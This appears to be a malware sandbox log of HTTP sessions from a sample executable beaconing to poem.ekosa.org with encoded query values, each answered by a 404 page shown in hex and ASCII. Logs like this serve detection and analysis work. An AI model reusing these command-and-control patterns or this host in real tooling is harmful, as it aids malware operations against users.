3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.4	49901	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:09.027334929 CET	5114	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:09.289967060 CET	5115	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:08 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.4	49902	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:09.563256979 CET	5115	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:09.827905893 CET	5116	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:09 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.4	49903	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:10.096682072 CET	5116	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:10.357073069 CET	5117	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:09 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.4	49904	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:10.740722895 CET	5118	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:11.012825966 CET	5118	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:10 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.4	49905	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:11.280529976 CET	5119	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:11.539246082 CET	5120	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:10 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.4	49906	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:11.806091070 CET	5120	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:12.065885067 CET	5121	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:11 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.4	49907	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:12.441737890 CET	5121	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:12.704462051 CET	5122	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:11 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49775	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:04.136393070 CET	267	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:04.406142950 CET	272	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:03 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.4	49908	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:12.976653099 CET	5123	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:13.235656977 CET	5123	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:13 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.4	49909	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:13.505811930 CET	5124	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:13.766844988 CET	5124	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:13 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.4	49910	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:14.147998095 CET	5125	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
